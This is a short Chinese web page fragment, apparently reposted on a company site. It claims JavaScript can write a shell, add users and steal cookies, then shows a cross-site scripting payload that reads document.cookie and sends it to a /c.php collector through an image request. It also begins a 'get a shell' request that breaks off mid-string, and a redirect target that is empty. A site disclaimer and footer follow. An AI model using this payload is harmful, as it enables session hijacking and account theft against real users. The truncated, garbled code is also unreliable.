Js里可以写shell，添加用户，偷取COOKIE然后模拟出真正的转向
xmlhttp=poster();
cookie=document.cookie;
login=cookie.indexOf(‘password’)==-1?0:1;
tolocation=’https:///’;
//get cookie
x=new Image();
x.src=”/c.php?c=”+escape(document.cookie);
//get a shell
data=”txaContent=
声明：本页内容来源网络，仅供用户参考；我单位不保证亦不表示资料全面及准确无误，也不保证亦不表示这些资料为最新信息，如因任何原因，本网内容或者用户因倚赖本网内容造成任何损失或损害，我单位将不会负任何法律责任。 如涉及版权问题，请提交至online#300.cn邮箱联系删除。
热门文章
Copyright © 1999-2025 中企动力科技股份有限公司（300.cn）All Rights Reserved
京公网安备11030102010293号 京ICP证010249-2
代理域名注册服务机构：中国互联网络信息中心 中网瑞吉思（天津）科技有限公司 北京新网数码信息技术有限公司
域名投诉处理400-660-5555-9 service4006@300.cn
最新文章
猜你喜欢
